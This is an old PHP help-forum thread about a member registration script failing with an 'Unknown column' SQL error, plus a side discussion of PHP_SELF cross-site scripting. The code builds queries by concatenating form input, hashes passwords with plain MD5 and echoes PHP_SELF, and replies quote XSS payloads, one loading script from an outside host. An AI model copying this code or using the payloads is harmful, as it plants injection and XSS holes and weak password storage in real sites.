Unknown column in field list

[CoolAsCarlito]

Unknown column 'Singles' in 'field list'

My test run failed but I'm almost there.

What do you think that implies? Because what it should be doing is taking the value from the drop down list whatever the user selects and putting that as the value variable into the table on the database. The table name is called type so I don't know why it's doing that.

For this table that it should be going to called members there is four categories one is id, type, username, passord.


<?php
// Connects to your Database

//This code runs if the form has been submitted
if (isset($_POST['submit'])) {

//This makes sure they did not leave any fields blank
if (!$_POST['type'] || !$_POST['username'] || !$_POST['pass'] || !$_POST['pass2'] ) {
die('You did not complete all of the required fields');
}

// checks if the username is in use
if (!get_magic_quotes_gpc()) {
$_POST['username'] = addslashes($_POST['username']);
}
$usercheck = $_POST['username'];
$check = mysql_query("SELECT username FROM members WHERE username = '$usercheck'")
or die(mysql_error());
$check2 = mysql_num_rows($check);

//if the name exists it gives an error
if ($check2 != 0) {
die('Sorry, the username '.$_POST['username'].' is already in use.');
}

// this makes sure both passwords entered match
if ($_POST['pass'] != $_POST['pass2']) {
die('Your passwords did not match. ');
}

// here we encrypt the password and add slashes if needed
$_POST['pass'] = md5($_POST['pass']);
if (!get_magic_quotes_gpc()) {
$_POST['pass'] = addslashes($_POST['pass']);
$_POST['username'] = addslashes($_POST['username']);
}

// now we insert it into the database
$insert = "INSERT INTO members (type, username, password)
VALUES (".$_POST['type'].",".$_POST['username'].",".$_POST['pass'].")";
$add_member = mysql_query($insert,$link) or die(mysql_error());
?>


<h1>Registered</h1>
<p>Thank you, you have registered - you may now login</a>.</p>

<?php
}
else
{
?>
<center><table border=1 cellpadding=5 cellspacing=0 width=350>
<font color="#CC0000"><h2><center>KOW Registration</h2></center></font>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
<tr><td>Type:</td><td>
<select name="type">
<option>Singles</option><option>Tag Team</option><option>Stable</option><option>Manager/Valet</option><option>Staff</option><option>Referee</option></select>
</td></tr>
<tr><td>Username:</td><td>
<input type="text" name="username" maxlength="60">
</td></tr>
<tr><td>Password:</td><td>
<input type="password" name="pass" maxlength="10">
</td></tr>
<tr><td>Confirm Password:</td><td>
<input type="password" name="pass2" maxlength="10">
</td></tr>
<tr><th colspan=2><input type="submit" name="submit" value="Register"></th></tr> </table>
</form>

<?php
}
?>

[Fou-Lu]

Sounds like thats SQL *****ing at you, and this is likely the cause:

$insert = "INSERT INTO members (type, username, password)
VALUES (".$_POST['type'].",".$_POST['username'].",".$_POST['pass'].")";

Two things that are wrong with it (if its mysql anyway). The first one is that password is a reserved word and it will often catch you because it doesn't actually fail in a query. Backticks or quotations will take care of that. The other is that the datatype is incorrect for the inserted values.
Fix it up like so:

$insert = "INSERT INTO members (`type`, `username`, `password`)
VALUES ('".$_POST['type']."','".$_POST['username']."','".$_POST['pass']."')";

I'm assuming that type, username and pass are all string values. The singles error is because the type is given what SQL sees as a constant value for Singles, which of course doesn't exist.
Hope that helps!


Also noticed another couple of things. Its great that you hit up the input for addslashes. Instead of using a standard addslashes call, consider using mysql_real_escape_string as your escaping method. It covers more values than addslashes and takes care of using the correct escaping chars depending on what its set with in mysql. A little more handy if something should change!
And a final note, don't use PHP_SELF ever. Its XSS suseptible so consider using SCRIPT_NAME as a better alternative (or if you don't care about w3c standards, use nothing as it defaults to post back).

[helraizer]

And a final note, don't use PHP_SELF ever. Its XSS suseptible ....

How is it susceptible to Cross site scripting?

on http://www.mysite.com/yourpage.php?uid=22&this=that

$_SERVER['PHP_SELF']; would return yourpage.php - without the GET variables.

Especially if you use


basename($_SERVER['PHP_SELF']);


The only way they could use XSS is through unsanitised GETs like


http://www.mysite.com/yourpage.php?uid=22&this="><maquee><h1>vunerable</h1></marquee>

or


on http://www.mysite.com/yourpage.php?uid=22&this="><script src="http://externalsite.info/xss.js"></script>

Or am I mistaken?

Sam

[CoolAsCarlito]

I'm assuming that type, username and pass are all string values. The singles error is because the type is given what SQL sees as a constant value for Singles, which of course doesn't exist.
Hope that helps!


So what are you telling me or suggesting that I do with that drop down list that the user can choose from?

[Fou-Lu]

PHP_SELF is XSS vulnerable through mod_rewrite - it does not tear apart any appendages to the end of the file that are not considered a part of the url query string. Basename will not help on this either, as it will attempt to use the last provided common name of the canonical name. For example:
http://www.mysite.com/mypage.php/extra%20stuffs%20here
PHP_SELF will be mypage.php/extra%20stuffs%20here.
I found a neat site that had a simple demonstration that let you replace the PHP image on the PHP info page with perl. I'm still trying to track it down, but if I find it I'll pm you with it mate, you'll have a good laugh :)

As for the dropdown, I'm not suggesting you replace it with anything. I'm suggesting that you tell your SQL that its to be treated as a string. With your current code, if I select the 'Singles' from the drop down, and enter my info as 'Fou-Lu', 'Password', it will replace the query with:

$insert = "INSERT INTO members (type, username, password)
VALUES (Singles, Fou-Lu, Password)";

SQL cannot interpret the datatype of the values provided, so will fallback to an attempt to map it to the corresponding fieldname (which probably doesn't exist). I'm saying you want these to be a string, so using:

$insert = "INSERT INTO members (`type`, `username`, `password`)
VALUES ('".$_POST['type']."','".$_POST['username']."','".$_POST['pass']."')";

Will result in

$insert = "INSERT INTO members (`type`, `username`, `password`)
VALUES ('Singles', 'Fou-Lu', 'Password')";


Does that make sense?


Yay, I found the site with the XSS information! See it here: http://blog.phpdoc.info/archives/13-XSS-Woes.html

Append this: /%22%3E%3Cscript%3Ealert('xss')%3C/script%3E%3Cfoo to the end of any piece of code using PHP_SELF in it to get a popup alert box.

Unfortunately the PHP team must have changed the way the PHP logo is generated. Pity. Thats ok, if you add this:
/%22%3E%3Cimg%20src=http://www.perl.com/images/75-logo.jpg%3E%3C
And echo out the $_SERVER['PHP_SELF'], it will still show at the bottom :)



Last edit I promise. Just used a 4.3.8 version of PHP to show you what the image used to do. See attached :)

[CoolAsCarlito]

Thank you so much all that last part did it but thanks all.

[Fou-Lu]

Your welcome mate, you did most of the work anyway :thumbsup:

Considering that SQL is a 4th generation language, you'd think it would throw better error messages at you, lol. Don't forget, if you're ever in doubt, just give SQL the value as a string - it can do some conversions for you at the cost of some cpu cycles, which is ok as long as your not dealing with hundreds of thousands of entries.